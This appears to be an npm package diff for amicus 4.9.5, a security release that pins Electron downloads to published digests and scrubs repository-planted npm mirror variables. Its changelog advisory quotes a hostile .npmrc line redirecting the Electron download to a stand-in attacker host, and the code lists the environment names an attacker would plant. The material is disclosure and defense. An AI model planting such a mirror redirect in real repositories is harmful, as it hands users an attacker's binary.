amicus 4.9.4 → 4.9.5

package/.claude-plugin/plugin.json

@@ -1,6 +1,6 @@
 {
   "name": "amicus",
-  "version": "4.9.4",
+  "version": "4.9.5",
   "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
   "author": {
     "name": "Christian Wagner"

package/CHANGELOG.md

@@ -3,6 +3,88 @@
 All notable changes to Amicus are documented here. Format follows
 [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow semver.
 
+## [4.9.5] - 2026-09-07
+
+*A repository you cloned could choose which bytes became your Electron.*
+
+npm exports an `.npmrc` key it does not recognise to every child process it spawns, so a repository
+containing one line — `electron_mirror=http://attacker.example/evil/` — reaches `npx -y amicus@latest`
+as `npm_config_electron_mirror`. `@electron/get` reads that name **above** its own default
+(`artifact-utils.js`), and validates the download against a `SHASUMS256.txt` fetched from the *same*
+redirected host, so the checksum verified the attacker's file against the attacker's checksum. Amicus
+passed no digest of its own. Amicus's own skills, troubleshooting page and Claude Code registration
+all invoke it as `npx -y amicus@latest`, whose npm prefix is whatever directory you are sitting in.
+Amicus then launches the extracted binary for the GUI. Every link was measured, end to end.
+
+### Security
+
+- **The Electron artifact is now pinned to the digest Electron publishes, on both routes (#236).**
+  Four controls, each independently testable:
+  - **The download carries `checksums`**, read from `checksums.json` inside the Electron npm package —
+    the same anchor Electron's own installer uses. With a digest supplied, `@electron/get` writes a
+    **local** `SHASUMS256.txt` and never fetches one, so a redirected mirror can still serve bytes but
+    they must match what Electron published. This is the control that breaks the chain.
+  - **A cached artifact is hashed before it is extracted.** That route runs *first* — on every
+    `npm install -g amicus`, on first GUI use, and on `doctor --fix` — and previously accepted any
+    file with the right name from any subdirectory of a cache root, with no verification of any kind.
+    A mismatch is refused and the file removed; the removal is fenced through the repo's own realpath
+    fence and a basename check, so it is strictly narrower than the unconditional delete it replaces.
+  - **The Electron installer's environment is scrubbed.** The last-resort path spawns Electron's own
+    `install.js`, which honours the mirror *and* a remote-checksum override; without this, pinning the
+    in-process download would merely have funnelled an attacker into an unpinned downloader. Every
+    repo-plantable `npm_config_electron_*` / `npm_package_config_electron_*` name is removed —
+    case-insensitively, because a repo `package.json` `config` key reaches the child with its case
+    preserved — along with `npm_config_platform` and `npm_config_arch`, which choose *which* artifact
+    that installer fetches. `ELECTRON_INSTALL_PLATFORM` / `_ARCH` are pinned to amicus's own resolution.
+  - **An archive refused for path traversal is terminal.** `robustExtract` treated extract-zip's own
+    "invalid relative path" / "absolute path" refusals exactly like a stall: clean the directory and
+    re-run the same archive through an OS extractor amicus does not control. Such a refusal now throws
+    `UNZIP_UNSAFE_ARCHIVE`, is not retried at either call site, and the file is kept as evidence rather
+    than deleted. A **stall** still falls back — that fallback is the Node-24 workaround this module
+    exists for, and a test pins the distinction.
+
+  The digest anchor is read from the **running amicus's own** Electron package in preference to the
+  directory being repaired. That is load-bearing rather than tidy: `doctor --fix` hands the repair a
+  directory found by scanning npx caches, and reading the digest out of the same directory the bytes
+  came from would have let it vouch for itself — measured, before the fix, as `repaired: true` over
+  bytes reading `POISONED-BYTES`.
+
+  One documented escape hatch, `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1`, exists for the one legitimate
+  case (you deliberately run a rebuilt Electron). It is a bare environment name, which a repository
+  cannot plant; it accepts a contradicting cached artifact and drops the pin on a download; it
+  re-enables nothing else. Bare `ELECTRON_MIRROR` stays honoured — that spelling is not
+  repo-injectable, so it carries the machine owner's intent, and the digest is enforced either way.
+
+- **What this does NOT close, stated plainly.** `registry=` in a hostile `.npmrc` dominates every
+  control above: under `npx`, amicus itself, the Electron tarball and its `checksums.json` would all
+  come from the attacker, and the pin would then faithfully vouch for attacker bytes. Electron's own
+  npm postinstall runs with the hostile environment live, before any amicus code executes. Nothing
+  verifies `dist/electron.exe` at launch — this closes acquisition, not custody. Extraction output is
+  still not fenced, and the extractor still reports success when any file lands. And where **no**
+  published digest covers an artifact — an Electron package with no `checksums.json`, or one whose own
+  metadata names a version amicus holds no entry for — there is nothing to contradict: those bytes are
+  extracted and marked `unverified` rather than refused, because refusing would strand every older
+  Electron in a re-download loop. Run `npx -y amicus@latest` from a directory you trust.
+
+### Fixed
+
+- **Three advisories that reached the published dependency tree.** `fast-uri` (two high, SSRF) via
+  `@modelcontextprotocol/sdk` → `ajv`, and `qs` (moderate) via the same SDK → `express`. Fixed by a
+  targeted update of exactly those two packages and their own closure — five lockfile entries — rather
+  than `npm audit fix`, which wanted to move 31 packages, almost all of them puppeteer's dev tree
+  including a major. `extract-zip`, the remaining production-tree advisory, has no fixed version at
+  any release and is addressed by the trust work above instead of by a bump.
+- **Two records that asserted things that were not true.** The released 4.9.4 notes said "Twenty-four
+  probe rows" and "the full 61-case matrix", both stale at the tag — M23 joined the M group during
+  council #235 round 3 without the matrix being re-run, so the group is twenty-five rows and the filed
+  matrix is 62 cases, which the BACKLOG already said while the CHANGELOG contradicted it. And the
+  backlog's own audit filing recorded `extract-zip` as dev-only "via puppeteer"; it is a direct
+  production dependency, and calling it dev-only is exactly the reasoning that would have let it sit.
+- **`docs/ROADMAP.md`'s status lines are now pinned in the release commit.** They ship in the npm
+  tarball and they are a factual claim about the current version, but they were updated in the
+  post-ship pass, which runs *after* the tag — so every published package has named the previous
+  release. `v4.9.4`'s roadmap says "v4.9.3"; `v4.9.3`'s says "v4.9.0". Verified across three tags.
+
 ## [4.9.4] - 2026-09-07
 
 *The effort level was never on the wire, and the budget stopped at the routes the catalog could clamp.*
@@ -125,9 +207,9 @@ provider, so the pinned engine's outbound fields can be read under each shape Am
   error, a dead engine) sends the level unverified after ONE read, and the log line says so. `max`
   joins the vocabulary (`none`, `minimal`, `low`, `medium`, `high`, `xhigh`, `max` — the levels the
   curated routes declare between them, M0). The level SENT rides the run document (`variant`), the
-  spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-four probe
-  rows (M0–M17 and M22, plus M18–M21 through amicus's own `sendPrompt`) measured every shape this
-  ships — the full 61-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
+  spend-ledger row (`variant`, present only when one was sent) and the leg patch. Twenty-five probe
+  rows (the M group; M18-M21 driven through amicus's own `sendPrompt`) measured every shape this
+  ships — the full 62-case matrix is filed in the BACKLOG — and CI's keyless job now also runs M1,
   M2, M10b and M17. Council seats have no effort knob in this release (filed as the owner's
   decision).
 

package/README.md

@@ -455,7 +455,7 @@ $ amicus status demo123 --json
   "taskId": "demo123",
   "status": "complete",
   "elapsed": "5m 0s",
-  "version": "4.9.4",
+  "version": "4.9.5",
   "model": "google/gemini-2.5-flash",
   "phase": "terminal"
 }

package/docs/ROADMAP.md

@@ -13,11 +13,13 @@ lives under **Backlog (tracked, not scheduled)** with everything else that is re
 Nothing about the content changed and no judgment about its value is implied; only its status. When
 an org buyer and the org to support them exist, it earns a number then.
 
-Amicus is at **v4.9.3** (2026-08-28). Each 4.x rev below leads with the benefit, not the
-plumbing; the patch releases since v4.9.0 carry no section of their own, because they fixed
-defects rather than adding scope — see `CHANGELOG.md` for what each one contained.
+Amicus is at **v4.9.5** (2026-09-07). Each 4.x rev below leads with the benefit, not the
+plumbing; the patch releases since v4.9.0 carry no section of their own, because each corrected a
+defect rather than adding scope — where one added a surface (v4.9.4's `--thinking` refusals and
+`output-budget` doctor row, v4.9.5's Electron digest gate) it did so to make an existing promise
+true, not to widen it. See `CHANGELOG.md` for what each one contained.
 
-**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.3 patch releases —
+**Status:** v4.0 through **v4.9.0** have **shipped**, plus the v4.9.1–v4.9.5 patch releases —
 everything on this page is a record of what landed, not a plan. Composition — the scope that
 carried the number v4.6 here until the degrade-announcement-invariant milestone took the v4.6.0
 release (2026-08-02) — is now an unscheduled candidate for the next rev, tabled in its own section

package/docs/architecture-map.md

@@ -112,8 +112,10 @@ src/
 │   ├── electron-ensure.js  # ensureElectron() — lazy first-GUI provisioning (#55).
 │   ├── electron-install.js  # Electron self-heal primitive (#53, #59).
 │   ├── electron-lock.js  # Stale-aware single-flight lock for the electron self-heal (#53).
+│   ├── electron-provision.js  # Electron CONTROLLED provision — the pinned download, and what happens to a
 │   ├── electron-quarantine.js  # AV / antivirus quarantine detection for the electron self-heal (#53).
 │   ├── electron-state.js  # Electron install-state probes (#76).
+│   ├── electron-trust.js  # Electron artifact TRUST core — the digest anchor, the gate, and the env scrub.
 │   ├── fallback-chains.js
 │   ├── fanout-budget.js
 │   ├── fanout-leg-fallback.js
@@ -552,8 +554,10 @@ evals/
 | `sidecar/electron-ensure.js` | ensureElectron() — lazy first-GUI provisioning (#55). | `ensureElectron()`, `_resetEnsureElectron()` |
 | `sidecar/electron-install.js` | Electron self-heal primitive (#53, #59). | `resolveElectronBinary()`, `isElectronUsable()`, `cachedZip()`, `repairElectron()`, `platformExe()` |
 | `sidecar/electron-lock.js` | Stale-aware single-flight lock for the electron self-heal (#53). | `acquireRepairLock()`, `isStaleLock()`, `lockPathFor()`, `STALE_MS()` |
+| `sidecar/electron-provision.js` | Electron CONTROLLED provision — the pinned download, and what happens to a | `cacheRootFor()`, `controlledProvision()`, `mayDeleteRejectedZip()`, `rejectCachedZip()`, `isUnsafeArchive()` |
 | `sidecar/electron-quarantine.js` | AV / antivirus quarantine detection for the electron self-heal (#53). | `avHint()`, `quarantineReason()`, `verifyExtractOutcome()` |
 | `sidecar/electron-state.js` | Electron install-state probes (#76). | `electronDirFor()`, `probeElectronState()` |
+| `sidecar/electron-trust.js` | Electron artifact TRUST core — the digest anchor, the gate, and the env scrub. | `electronTrustPolicy()`, `resolveAnchor()`, `expectedDigest()`, `verifyArtifact()`, `sha256File()` |
 | `sidecar/fallback-chains.js` |  | `resolveFallbackConfig()`, `deriveChain()`, `vendorOf()`, `DEFAULT_MAX_SUBSTITUTIONS()` |
 | `sidecar/fanout-budget.js` |  | `preflightBudget()` |
 | `sidecar/fanout-leg-fallback.js` |  | `runLegWithFallback()`, `recordAttemptSpend()`, `sumAttemptUsage()` |

package/docs/configuration.md

@@ -343,6 +343,23 @@ These variables control the polling loop that drives headless sessions. The defa
 | `AMICUS_GUI_LOAD_TIMEOUT_MS` | Maximum wait in milliseconds for the Electron UI to load before the load-failsafe fires. If the OpenCode web UI fails to respond within this window, Amicus shows a load-error page instead of hanging invisibly. | `15000` |
 | `AMICUS_DEBUG_PORT` | Chrome DevTools Protocol port for the Electron window. Increment (e.g. `9223`) to avoid conflicts with a running Chrome or another Amicus window. | `9222` |
 | `AMICUS_MOCK_UPDATE` | Mock the update-notification state for UI development. Values: `available` \| `updating` \| `success` \| `error`. Has no effect outside development. | *(unset)* |
+| `AMICUS_ALLOW_UNVERIFIED_ELECTRON` | Accept an Electron artifact whose sha256 does **not** match the digest Electron publishes for it, with a loud warning on every use instead of a refusal. On a **cached** artifact it downgrades the refusal to a warning; on a **download** it also drops the published-digest pin, so `@electron/get` falls back to the `SHASUMS256.txt` of whatever mirror you pointed it at — without that, a legitimately rebuilt Electron could never be fetched at all, only accepted if it was already in a cache root. For one case only: you deliberately run a **rebuilt** Electron whose bytes legitimately differ. True for the exact string `1` — `true`, `yes` and ` 1` are all false, because a hatch that fails open on a typo is not a hatch. | *(unset)* |
+
+> **What `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not do.** It does not re-enable
+> anything else. `npm_config_electron_mirror`, `npm_package_config_electron_*`,
+> `npm_config_electron_use_remote_checksums`, `npm_config_platform` and
+> `npm_config_arch` stay stripped from the Electron installer's environment
+> whether it is set or not — those are the names a *repository* can plant in a
+> child process through its own `.npmrc` or `package.json`, which is why this
+> variable is a plain environment variable read under that exact bare spelling
+> only: a repo-planted `npm_config_amicus_allow_unverified_electron` reads back
+> as unset. It also does not change where the download comes from — a real
+> `ELECTRON_MIRROR` environment variable is honoured exactly as before, set or
+> unset. What it *does* relax, deliberately and on both routes, is the digest:
+> with it set, a cached artifact that contradicts Electron's published sha256 is
+> accepted with a warning, and a download is no longer pinned to that sha256
+> (`@electron/get` then trusts the `SHASUMS256.txt` served alongside the artifact).
+> Leave it unset and the published digest is enforced on both routes.
 
 ---
 

package/docs/troubleshooting.md

@@ -396,6 +396,43 @@ unverified, with `variantUnverified: true` on the leg document.
 - **Manual install (most reliable):** on a machine/network with direct access, run any `amicus start` once to populate the Electron cache, then copy the cache directory to the target machine — `%LOCALAPPDATA%\electron\Cache` (Windows), `~/Library/Caches/electron` (macOS), `$XDG_CACHE_HOME/electron` or `~/.cache/electron` (Linux). Amicus reuses a valid cached binary without re-downloading.
 - **Point at your own mirror:** set `ELECTRON_MIRROR` (and `ELECTRON_CUSTOM_DIR` if needed) to an internal Electron mirror that is reachable without a proxy.
 - Headless runs and the full council never need Electron — use `--no-ui` if the GUI is not required.
+- Run `npx -y amicus@latest` from a directory you trust. `npx` inherits the `.npmrc` and `package.json` of whatever directory you are standing in, so an untrusted clone can point package downloads at a host of its choosing.
+
+---
+
+## Electron Artifact REFUSED (digest mismatch)
+
+**Symptom:** provisioning stops and stderr carries a block like:
+
+```
+[amicus] Electron artifact REFUSED: electron-v43.1.1-win32-x64.zip
+[amicus]   C:\Users\me\AppData\Local\electron\Cache\<sha>\electron-v43.1.1-win32-x64.zip
+[amicus]   sha256 3f2a... does not match the published b4e9...
+[amicus] This is what a swapped mirror or a planted cache file looks like. It is ALSO
+[amicus] what a truncated download, a failing disk, or a mirror serving a REBUILT
+[amicus] electron looks like — amicus cannot tell them apart.
+[amicus] If you deliberately run a REBUILT electron, set
+[amicus] AMICUS_ALLOW_UNVERIFIED_ELECTRON=1 BEFORE provisioning again — ...
+[amicus]   The file has been removed: re-copy it from the machine that downloaded it ...
+```
+
+The refused bytes are never extracted, so no Electron is installed *from them*. What you see afterwards depends on which path hit the refusal:
+
+- **`npm install` (offline by design)** repeats the refusal reason in its notice and stops there — it never downloads.
+- **`amicus doctor --fix` and first GUI use** re-download the artifact with the digest pinned, so a one-off bad file self-heals and is reported as installed. Only when that retry cannot rescue it — no network, or the fresh download fails too — does `doctor` repeat the refusal reason instead of its generic "not provisioned".
+
+**Cause:** the bytes do not match the sha256 Electron itself publishes for that artifact (`node_modules/electron/checksums.json`). Amicus hashes a cached zip **before** extracting it, and pins the digest on the download, so bytes that *contradict* a published digest never become an Electron install. Where no published digest covers the artifact at all — an Electron package that ships no `checksums.json`, or one whose own `package.json` names a version amicus holds no entry for — there is nothing to contradict: those bytes are extracted and the outcome is marked `unverified` rather than refused, because refusing would strand every older Electron in a re-download loop. The gate is an integrity check against a digest amicus can obtain, not a promise that every artifact was vouched for.
+
+That is what a swapped mirror or a planted cache file looks like. It is **also** what a truncated download, a failing disk, or a corporate mirror serving a *rebuilt* Electron looks like — amicus cannot tell them apart, and says so rather than guessing.
+
+**Fix:**
+- **Let it retry.** Online, amicus removes the offending cache entry — only when its filename and its resolved location both say it really is that cache entry — and downloads again with the digest pinned. A one-off truncated download heals itself.
+- **Air-gapped / hand-seeded cache:** the refused file is deleted, so re-copy the cache directory from the machine that downloaded it. A partial copy is the usual cause. If the bytes are deliberately different (below), set the variable *before* you re-copy — the next refusal would remove the fresh copy too.
+- **You deliberately run a rebuilt Electron:** set `AMICUS_ALLOW_UNVERIFIED_ELECTRON=1` (see [configuration.md](./configuration.md#gui-and-debug)). It accepts a cached artifact that contradicts the published digest, and drops the digest pin on a download so a rebuilt artifact can be fetched from your own `ELECTRON_MIRROR` at all. It re-enables nothing else: the Electron installer's environment stays scrubbed of every `npm_config_electron_*` / `npm_package_config_electron_*` name either way.
+- **Otherwise treat it as real.** Check what `ELECTRON_MIRROR` is set to, and whether the directory you ran `npx -y amicus@latest` in is one you trust.
+- Headless runs and the full council work without the GUI in every one of these cases.
+
+**A second, rarer refusal:** `Electron artifact REFUSED (unsafe archive)` means entries inside the zip tried to write *outside* the destination directory. That one is terminal by design — amicus does not retry it with a different extractor, does not delete the file (it is the evidence), and `AMICUS_ALLOW_UNVERIFIED_ELECTRON` does not apply to it. Report the mirror or cache the archive came from.
 
 ---
 

package/docs/usage.md

@@ -540,7 +540,7 @@ $ amicus status demo123 --json
   "taskId": "demo123",
   "status": "complete",
   "elapsed": "5m 0s",
-  "version": "4.9.4",
+  "version": "4.9.5",
   "model": "google/gemini-2.5-flash",
   "phase": "terminal"
 }

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "amicus",
-  "version": "4.9.4",
+  "version": "4.9.5",
   "mcpName": "io.github.BourbonDog/amicus",
   "description": "Multi-model LLM Council + parallel AI window for Claude Code. Run structured council reviews across Gemini, GPT, DeepSeek and more — or fork a conversation to any model and fold the results back.",
   "keywords": [

package/scripts/postinstall.js

@@ -89,6 +89,10 @@ async function provisionElectron(deps = {}) {
       console.warn('[amicus] Headless runs and the council already work without the GUI.');
       return;
     }
+    // A trust REFUSAL is not the same as "no cache yet": the artifact was found,
+    // hashed, and rejected. One line, so the reason is not lost behind the generic
+    // notice below (docs/troubleshooting.md promises this line).
+    if (result && result.integrity) { console.warn(`[amicus] Note: ${result.reason}`); }
     // No cache hit (deferred), contended, or otherwise not provisioned now.
     console.warn('[amicus] Note: the Electron GUI binary is not provisioned yet — it will download on first use of the interactive GUI / setup-wizard.');
     console.warn(`[amicus] Headless runs and the council already work. To provision the GUI now: ${HINTS.doctorFix}`);

package/src/sidecar/electron-install.js

@@ -1,21 +1,18 @@
 /**
  * Electron self-heal primitive (#53, #59).
  *
- * Electron is an optionalDependency (^28.0.0). A flaky / interrupted extract
- * — or Windows Defender quarantining electron.exe — can leave the package's
- * path.txt on disk while dist/<exe> is MISSING, so the GUI silently fails.
+ * Electron is an optionalDependency (^28.0.0). A flaky / interrupted extract —
+ * or Windows Defender quarantining electron.exe — can leave the package's
+ * path.txt on disk while dist/<exe> is MISSING, so the GUI silently fails. This
+ * module is the keystone the rest of the self-heal cluster (#54-#57) imports; it
+ * wires itself into no caller, and everything that downloads, extracts, spawns or
+ * locks is dependency-INJECTABLE so tests never hit the network or extract a real
+ * binary.
  *
- * This module is the keystone the rest of the self-heal cluster (#54-#57)
- * imports. It does NOT wire itself into any caller. Everything that downloads,
- * extracts, spawns, or locks is dependency-INJECTABLE so tests never hit the
- * network or extract a real binary.
- *
- * Layout reference (npm `electron` package):
- *   node_modules/electron/path.txt    -> "electron.exe" (the exe basename)
- *   node_modules/electron/dist/<exe>  -> the actual binary
- * #59: when ELECTRON_OVERRIDE_DIST_PATH is set, the exe lives in that dir
- * instead of <pkg>/dist (mirrors electron/index.js + install.js semantics).
- * Cache layout (@electron/get): <cacheRoot>/<sha256>/electron-v<ver>-<platform>-<arch>.zip
+ * Layout (npm `electron`): path.txt -> the exe basename, dist/<exe> -> the binary.
+ * #59: ELECTRON_OVERRIDE_DIST_PATH moves the exe to <override>/<exe> (mirrors
+ * electron/index.js + install.js semantics). Cache layout (@electron/get):
+ * <cacheRoot>/<sha256>/electron-v<ver>-<platform>-<arch>.zip
  */
 
 'use strict';
@@ -27,6 +24,8 @@ const { spawnSync } = require('child_process');
 const { resolveCacheRoots } = require('./electron-cache');
 const { avHint, verifyExtractOutcome: verifyQuarantine } = require('./electron-quarantine');
 const { acquireRepairLock } = require('./electron-lock');
+const { controlledProvision, isUnsafeArchive, refuseUnsafeArchive, rejectCachedZip } = require('./electron-provision');
+const { artifactFileName, electronTrustPolicy, resolveAnchor, scrubbedChildEnv, verifyArtifact } = require('./electron-trust');
 const { robustExtract } = require('./unzip');
 
 /** Self-heal progress line to stderr (visible during first-GUI provision). */
@@ -134,32 +133,6 @@ async function extractFromCache({ zip, electronDir, platform, extract, fs }) {
   writePathTxt({ electronDir, platform, fs });
 }
 
-/** Best-effort cache root for downloadArtifact (first resolved root). */
-function cacheRootFor(env = process.env) {
-  return resolveCacheRoots(env)[0];
-}
-
-/**
- * CONTROLLED provision: fetch the zip ourselves with the SAME @electron/get
- * api install.js uses (downloadArtifact, force:true), extract offline, and let
- * the caller verify isElectronUsable(). No blind install.js spawn.
- * @returns {Promise<void>}
- */
-async function controlledProvision({
-  electronDir, platform, arch, version, downloadArtifact, extract, fs, env = process.env, downloadMs = 480000,
-}) {
-  const zip = await downloadArtifact({
-    version,
-    artifactName: 'electron',
-    force: true,
-    cacheRoot: cacheRootFor(env),
-    platform,
-    arch,
-    downloadOptions: { signal: AbortSignal.timeout(downloadMs) }, // 5.x native fetch: bound stalled downloads, free the lock
-  });
-  await extractFromCache({ zip, electronDir, platform, extract, fs });
-}
-
 /** Bind the fs-aware probes for the post-extract AV-quarantine verify. */
 function verifyExtractOutcome({ electronDir, platform, fs }) {
   return verifyQuarantine({
@@ -169,10 +142,16 @@ function verifyExtractOutcome({ electronDir, platform, fs }) {
   });
 }
 
-/** Drive electron's own install.js with force_no_cache semantics. */
-function runInstaller({ electronDir, force, spawn }) {
+/**
+ * Drive electron's own install.js with force_no_cache semantics. C3: the spawn env
+ * is SCRUBBED — install.js honours `npm_config_electron_mirror` AND
+ * `npm_config_electron_use_remote_checksums` (which turns its own bundled pin off),
+ * so `{...process.env}` here would funnel a blocked attacker into an unpinned
+ * downloader and undo the pin on the route above.
+ */
+function runInstaller({ electronDir, force, spawn, platform, arch }) {
   const installScript = path.join(electronDir, 'install.js');
-  const env = { ...process.env };
+  const env = scrubbedChildEnv({ env: process.env, platform, arch });
   if (force) {
     env.force_no_cache = 'true';
   }
@@ -187,7 +166,8 @@ function runInstaller({ electronDir, force, spawn }) {
  *   {deferred,reason} when there is no cached zip.
  * @param {boolean} [opts.force] force a fresh (no-cache) installer download.
  * @param {number}  [opts.timeoutMs] best-effort installer timeout.
- * @param {object}  [opts.deps] injected { cachedZip, extract, spawn, acquireLock, fs }.
+ * @param {object}  [opts.deps] injected { cachedZip, extract, spawn, acquireLock, fs,
+ *   selfElectronDir } — the last pins the digest anchor's top rung (null disables it).
  * @returns {Promise<{repaired?:boolean, deferred?:boolean, contended?:boolean, reason?:string}>}
  */
 async function repairElectron({
@@ -204,9 +184,8 @@ async function repairElectron({
   // Default extract: extract-zip bounded (idle/max) + native-unzip fallback (extract-zip-node24 stall).
   const extract = deps.extract
     || ((zipPath, o) => robustExtract(zipPath, { ...o, platform, deps: { fs, log: stderrLog } }));
-  // Default-bound the last-resort installer spawn (8 min) so a first-GUI-use
-  // provision that reaches runInstaller without an explicit timeoutMs can't hang
-  // the holder — the caller's timeoutMs still wins when provided.
+  // Default-bound (8 min) so a first-GUI-use provision that reaches runInstaller
+  // without an explicit timeoutMs can't hang the holder; caller's value wins.
   const spawn = deps.spawn || ((cmd, args, o) => spawnSync(cmd, args, { ...o, timeout: timeoutMs || 480000 }));
   const findZip = deps.cachedZip || ((o) => cachedZip(o));
   const acquireLock = deps.acquireLock || ((o) => acquireRepairLock({ ...o, fs }));
@@ -217,13 +196,17 @@ async function repairElectron({
     : async () => (await import('@electron/get')).downloadArtifact;
 
   if (!version) {
-    try {
-      version = require(path.join(electronDir, 'package.json')).version;
-    } catch {
-      version = undefined;
-    }
+    try { version = require(path.join(electronDir, 'package.json')).version; } catch { version = undefined; }
   }
 
+  // The digest anchor and the trust policy, resolved ONCE for both routes. NOTE
+  // `version` is deliberately NOT passed to resolveAnchor: it may have just been
+  // read out of electronDir's own package.json above, and letting an untrusted
+  // directory pick which anchor judges its bytes is the ANCHORFROMTARGET hole.
+  const fileName = artifactFileName({ version, platform, arch });
+  const policy = electronTrustPolicy(process.env);
+  const anchor = resolveAnchor({ electronDir, fs, selfElectronDir: deps.selfElectronDir });
+
   // Single-flight: bail out gracefully if another caller is already repairing.
   let lock;
   try {
@@ -235,55 +218,72 @@ async function repairElectron({
     throw e;
   }
 
+  let refusal = null;   // a cache refusal the caller must still hear about if the download also fails
   try {
     // Attempt 1: extract from cache (always preferred, fully offline).
     const zip = findZip({ version, platform, arch, env: process.env, fs });
     if (zip) {
-      try {
-        await extractFromCache({ zip, electronDir, platform, extract, fs });
-        // Non-throwing extract w/ absent exe = the AV-quarantine signature.
-        return verifyExtractOutcome({ electronDir, platform, fs });
-      } catch (extractErr) {
-        // Corrupt cached artifact: delete the bad zip so it can't poison the
-        // cache, then fall through to a forced fresh download (unless offline).
-        try { fs.rmSync(zip, { force: true }); } catch { /* ignore */ }
-        if (cacheOnly) {
-          return {
-            repaired: false,
-            reason: `Cached electron zip for v${version} (${platform}-${arch}) was corrupt and removed; deferring re-download.${avHint(platform)}`,
-          };
-        }
+      // C2: anything that can write the cache dir can swap these bytes, so HASH
+      // BEFORE EXTRACT — extractFromCache must be unreachable for an artifact the
+      // anchor contradicts. A missing anchor is NOT a refusal (see verifyArtifact).
+      const gate = verifyArtifact({ zip, anchor, fileName, policy, fs, log: stderrLog });
+      if (!gate.allowed) {
+        refusal = rejectCachedZip({ gate, zip, fileName, env: process.env, fs, log: stderrLog });
+        if (cacheOnly) { return refusal; }
         // else: drop into the controlled download below.
+      } else {
+        try {
+          await extractFromCache({ zip, electronDir, platform, extract, fs });
+          // Non-throwing extract w/ absent exe = the AV-quarantine signature.
+          const outcome = verifyExtractOutcome({ electronDir, platform, fs });
+          return gate.verdict === 'no-digest' ? { ...outcome, unverified: true } : outcome;
+        } catch (extractErr) {
+          // C4 IS A CALL-SITE INVARIANT. A path-traversal refusal must not be
+          // deleted-and-retried, nor reported as "corrupt" — it stops here.
+          if (isUnsafeArchive(extractErr)) { return refuseUnsafeArchive({ err: extractErr, fileName, log: stderrLog }); }
+          // Corrupt cached artifact: delete the bad zip so it can't poison the
+          // cache, then fall through to a forced fresh download (unless offline).
+          try { fs.rmSync(zip, { force: true }); } catch { /* ignore */ }
+          if (cacheOnly) {
+            return { repaired: false, reason: `Cached electron zip for v${version} (${platform}-${arch}) was corrupt and removed; deferring re-download.${avHint(platform)}` };
+          }
+          // else: drop into the controlled download below.
+        }
       }
     } else if (cacheOnly) {
-      return {
-        deferred: true,
-        reason: `No cached electron zip found for v${version} (${platform}-${arch}); deferring download.${avHint(platform)}`,
-      };
+      return { deferred: true, reason: `No cached electron zip found for v${version} (${platform}-${arch}); deferring download.${avHint(platform)}` };
     }
 
-    // Attempt 2 (online): CONTROLLED download+extract instead of a blind
-    // install.js spawn — fetch via the SAME @electron/get api install.js uses,
-    // extract offline, then report the REAL usability. A structurally-successful
-    // download that produced no usable exe is a FAILURE (no false success; #53).
+    // Attempt 2 (online): CONTROLLED download+extract instead of a blind install.js
+    // spawn — the SAME @electron/get api install.js uses, extracted offline, then the
+    // REAL usability reported. A download that produced no usable exe is a FAILURE (#53).
     let controlledExtracted = false;
     try {
       const downloadArtifact = await resolveDownloadArtifact();
       await controlledProvision({
-        electronDir, platform, arch, version, downloadArtifact, extract, fs, env: process.env, downloadMs: timeoutMs,
+        electronDir, platform, arch, version, anchor, downloadArtifact, extract, extractFromCache,
+        fs, env: process.env, downloadMs: timeoutMs, policy, log: stderrLog,
       });
       controlledExtracted = true; // download + extract returned without throwing
-    } catch {
+    } catch (provisionErr) {
+      // C4 again: an unsafe archive here must NOT reach runInstaller, which would
+      // re-download and re-extract it through an extractor amicus does not drive.
+      if (isUnsafeArchive(provisionErr)) { return refuseUnsafeArchive({ err: provisionErr, fileName, log: stderrLog }); }
       // Controlled download/extract failed (network, checksum, unzip). Try the
       // installer as a LAST resort — it can NEVER short-circuit the honest
       // verify below; we always return isElectronUsable().
-      try { runInstaller({ electronDir, force, spawn }); } catch { /* ignore */ }
+      try { runInstaller({ electronDir, force, spawn, platform, arch }); } catch { /* ignore */ }
     }
     // A NON-throwing controlled extract that left no usable exe is the
-    // AV-quarantine signature — surface it actionably (no false success, no
-    // loop). A controlled FAILURE only reports plain repaired:false.
-    if (controlledExtracted) { return verifyExtractOutcome({ electronDir, platform, fs }); }
-    return { repaired: isElectronUsable({ electronDir, platform, fs }) };
+    // AV-quarantine signature — surface it actionably (no false success, no loop).
+    const out = controlledExtracted
+      ? verifyExtractOutcome({ electronDir, platform, fs })
+      : { repaired: isElectronUsable({ electronDir, platform, fs }) };
+    // A refusal the download did not rescue must reach doctor and the postinstall
+    // notice; plain {repaired:false} is what made a REFUSED artifact read as an
+    // ordinary "not provisioned" everywhere outside the cacheOnly path.
+    if (!out.repaired && refusal) { return { ...out, integrity: refusal.integrity, reason: [refusal.reason, out.reason].filter(Boolean).join(' ') }; }
+    return out;
   } finally {
     try { lock.release(); } catch { /* ignore */ }
   }

package/src/sidecar/electron-provision.js

@@ -0,0 +1,179 @@
+/**
+ * Electron CONTROLLED provision — the pinned download, and what happens to a
+ * cached artifact the digest gate refuses.
+ *
+ * Split out of electron-install.js because that file sits at the repo's 300-line
+ * gate and cannot grow. The require arrow is
+ * electron-install -> electron-provision -> electron-trust and must never point
+ * back, so `extractFromCache` arrives as an argument rather than an import.
+ *
+ * @module sidecar/electron-provision
+ */
+
+'use strict';
+
+const path = require('path');
+
+const { resolveCacheRoots } = require('./electron-cache');
+const { artifactFileName, expectedDigest } = require('./electron-trust');
+const { containsOnDisk } = require('../utils/path-fence');
+
+/** Best-effort cache root for downloadArtifact (first resolved root). */
+function cacheRootFor(env = process.env) {
+  return resolveCacheRoots(env)[0];
+}
+
+/**
+ * CONTROLLED provision: fetch the zip ourselves with the SAME @electron/get
+ * api install.js uses (downloadArtifact, force:true), extract offline, and let
+ * the caller verify isElectronUsable(). No blind install.js spawn.
+ *
+ * C1 — THE PIN. `checksums` is what breaks the attack chain. Supplied, it makes
+ * @electron/get write a LOCAL SHASUMS256.txt from this table and never fetch one
+ * from the mirror, so a redirected download still has to produce bytes matching
+ * electron's own published sha256. Passed as the ONE entry for this artifact:
+ * an empty table is a hard throw upstream, and a table missing the requested
+ * name fails the download outright — which is why no anchor means no `checksums`
